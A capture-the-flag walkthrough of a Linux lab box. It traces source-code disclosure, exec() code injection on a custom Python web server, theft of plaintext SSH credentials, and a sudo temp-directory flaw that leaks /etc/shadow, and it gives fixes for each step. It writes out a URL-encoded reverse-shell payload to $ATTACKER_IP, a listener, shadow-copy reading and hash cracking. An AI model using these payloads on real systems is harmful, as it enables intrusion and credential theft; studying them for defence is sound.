← all walkthroughs

Obscurity

Linux· Medium· Privilege Escalation
owned
2026-07-09
time to own
6m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found a custom Python web server (BadHTTPServer) on port 8080 that served its own source code at a guessable development path. Reading the source revealed that the request handler passed the URL-decoded HTTP path directly into Python's exec(), letting any unauthenticated visitor run arbitrary OS commands.

A crafted HTTP request spawned a reverse shell as the web user (www-data). Filesystem enumeration uncovered plaintext SSH credentials for a local account (robert) stored in his home directory, giving a full user session and the first flag.

A sudo rule permitted robert to run a custom SSH wrapper (BetterSSH.py) as root; the script copied /etc/shadow into a hardcoded temporary directory that I had pre-created as world-readable, exposing the root password hash for offline cracking. Supplying the cracked root password back to the script's su call completed the escalation, delivering the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <root_hash_from_shadow> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService enumeration / banner grabbing
Identified services and fingerprinted the custom web server
An nmap scan of the target revealed SSH on port 22 and a custom HTTP server on port 8080 that identified itself as 'BadHTTPServer'. The non-standard server banner and application branding ('0bscura') signalled a home-grown implementation, making it a priority target for source-code review and input-handling flaws.
HTTP/1.1 200 OK ...
Exact commands 2
shell

Identify service versions on both open ports.

$ nmap -Pn -sV -p 22,8080 $TARGET
shell

Confirm the BadHTTPServer banner and landing page.

$ curl -sS -i http://$TARGET:8080/
2EnumerationUnauthenticated source-code disclosure (CWE-200)
Downloaded the server's own source code from a public path
Probing common development paths on port 8080 revealed that the server exposed its full Python source file at /develop/SuperSecureServer.py with no authentication. Downloading this file gave me a complete view of every code path, including the critical request-handling logic in serveDoc().
GET /develop/SuperSecureServer.py returned HTTP 200 with full server source; L138-139 exposed the exec() sink.
Exact commands 2
shell

Retrieve the server source without authentication.

$ curl -sS http://$TARGET:8080/develop/SuperSecureServer.py -o SuperSecureServer.py
shell

Locate the unsafe dynamic evaluation in serveDoc().

$ grep -n 'exec\|format\|path\|info' SuperSecureServer.py
FixRemove the unauthenticated source-code disclosure endpointHigh
WeaknessThe web server made its own Python source code (SuperSecureServer.py) available to any unauthenticated visitor at a predictable URL under /develop/, giving unauthorised users a complete blueprint of the codebase including the exec() vulnerability used for initial remote code execution.
FixNever place application source files inside the document root. Remove the /develop/ route entirely and ensure the server process runs from a directory that contains only static assets intended for public access. If developer access to source is required at all, gate it behind authentication and restrict it to trusted IP ranges or a VPN.
3ExploitationServer-side code injection via exec() with unsanitised input (CWE-95 / T1059.006)
Injected Python code via the exec()-based path handler and obtained a reverse shell
The source showed that serveDoc() built a Python expression by inserting the raw URL-decoded request path into a format string and then called exec() on the result: info = "output = 'Document: {}'"; exec(info.format(path)). My own path therefore controls exactly what Python code is evaluated with no authentication required. A URL-encoded payload embedding an os.system() bash reverse-shell call was sent as the HTTP GET path, establishing a shell as www-data (uid=33) on the host.
Exact commands 2
shell

Start a listener on my machine before sending the payload.

$ nc -lvnp 4444
shell

URL-encoded payload: ';__import__("os").system("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'")# — substitute your listener IP for $ATTACKER_IP.

$ curl -sS "http://$TARGET:8080/%27%3B__import__%28%22os%22%29.system%28%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/$ATTACKER_IP/4444%200%3E%261%27%22%29%23"
FixRewrite the request handler to eliminate unsafe dynamic code evaluationCritical
WeaknessThe serveDoc() function inserted the raw URL-decoded HTTP request path into a Python format string and then called exec() on the result, meaning every incoming HTTP request was a potential unauthenticated remote code execution vector.
FixReplace the exec()-based dispatch entirely with a safe, allowlist-driven file-serving approach: resolve the requested path against a fixed document root using pathlib.Path.resolve(), reject any path that escapes the root with a 403, and stream the matching file directly from disk. Never call exec(), eval(), or compile() on any value that originates from user input, no matter how the input is sanitised beforehand.
4Post-ExploitationCleartext credential exposure on local filesystem (T1552.001)
Located plaintext SSH credentials for the local user robert
Enumerating /home from the www-data shell revealed robert as the only interactive local user. Files in robert's home directory included his SSH password stored in cleartext and a custom authentication helper (BetterSSH/BetterSSH.py). Both artifacts were readable from the low-privilege www-data session without any further escalation.
/home/robert contained credential files and the BetterSSH tool, readable from the www-data session; password recovered.
Exact commands 3
shell

Enumerate the local user's home directory from the www-data shell.

$ ls -la /home/robert/
shell

List all files readable as www-data to surface credential artifacts.

$ find /home/robert -type f -readable 2>/dev/null
shell

Review the escalation helper for logic flaws and hardcoded paths.

$ cat /home/robert/BetterSSH/BetterSSH.py
FixReplace cleartext credential storage with SSH key authenticationHigh
WeaknessSSH credentials for the user robert were stored in plaintext in his home directory where lower-privileged processes (such as the www-data web server) could read them, turning a web-application compromise into a full user-account takeover with no further effort.
FixRemove all files containing plaintext passwords from the filesystem. Set PasswordAuthentication no and ChallengeResponseAuthentication no in /etc/ssh/sshd_config and distribute SSH public keys only. For any remaining credential files that genuinely must exist, restrict permissions to 600 and place them outside world-traversable directories.
5Lateral MovementValid account reuse via recovered credentials (T1078)
Authenticated as robert over SSH and captured the user flag
Using the plaintext credentials discovered on disk, I opened an SSH session as robert, confirmed account access, and read the user flag. Running sudo -l revealed that robert could execute /home/robert/BetterSSH/BetterSSH.py as root with no password prompt, establishing the privilege-escalation path.
Sshpass -p <withheld> ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 robert@$TARGET 'id.
Exact commands 3
shell

Log in as robert using the discovered cleartext password.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 robert@$TARGET
shell

Capture the user flag: <user.txt>.

$ cat /home/robert/user.txt
shell

Confirm sudo rights — reveals NOPASSWD access to BetterSSH.py as root.

$ sudo -l
6Privilege EscalationSudo misconfiguration combined with insecure temporary-file handling leaking /etc/shadow (T1548.003)
Exploited BetterSSH.py's insecure temp directory to expose the root password hash, then escalated to root via sudo
BetterSSH.py, which robert could run as root via a passwordless sudo rule, copies /etc/shadow to a hardcoded working directory (/tmp/SSH/) before performing its password comparisons. That directory does not exist on the system by default, causing the script to abort — but when I pre-created /tmp/SSH/ as world-readable (chmod 777), the root process wrote the shadow copy there and it became readable by robert. The root account's SHA-512 password hash was extracted from the copy and cracked offline with hashcat against rockyou.txt, yielding the plaintext <withheld>. Running BetterSSH.py a second time via sudo and supplying that credential caused the script to invoke 'su root' successfully, granting a root-context shell and delivering the final flag.
Sudo -l: (root) NOPASSWD: /home/robert/BetterSSH/BetterSSH.py; shadow copy read from /tmp/SSH/; root hash cracked to the password; root shell confirmed.
Exact commands 6
shell

Pre-create the hardcoded temp directory as world-readable so the script's shadow copy persists.

$ mkdir -p /tmp/SSH; chmod 777 /tmp/SSH
shell

Launch the script as root in the background; it writes the /etc/shadow copy to /tmp/SSH/.

$ sudo /home/robert/BetterSSH/BetterSSH.py &
shell

Read the root-owned shadow copy before the script can delete it.

$ cat /tmp/SSH/*
shell

Crack the SHA-512 crypt hash offline; result: <withheld>.

$ hashcat -m 1800 '<root_hash_from_shadow>' /usr/share/wordlists/rockyou.txt
shell

Run again interactively; enter username 'root' and password at the prompts.

$ sudo /home/robert/BetterSSH/BetterSSH.py
shell

Capture the root flag: <root.txt>.

$ cat /root/root.txt
FixRemove the BetterSSH sudo rule and eliminate the script's insecure shadow-file handlingCritical
WeaknessA passwordless sudo rule allowed the low-privilege user robert to execute a custom Python script stored in his own home directory as root. The script wrote a copy of /etc/shadow to a hardcoded path (/tmp/SSH/) that any user could pre-create as world-readable, exposing the root password hash to offline cracking — the cracked password then completed the escalation through the same sudo rule.
FixRemove the BetterSSH.py entry from /etc/sudoers immediately. If a privileged authentication helper is genuinely required, replace it with a properly audited, root-owned binary under /usr/local/sbin (not a user home directory), scoped to the minimum necessary sudo privileges and requiring PASSWD confirmation. Any code that must handle shadow data should create its temp files with Python's tempfile.mkdtemp(dir='/root', prefix='.ssh_') — mode 0o700, readable only by root — and delete them in a finally block so no other user can race-read the content.

Exposed services

22/tcp
8080/tcp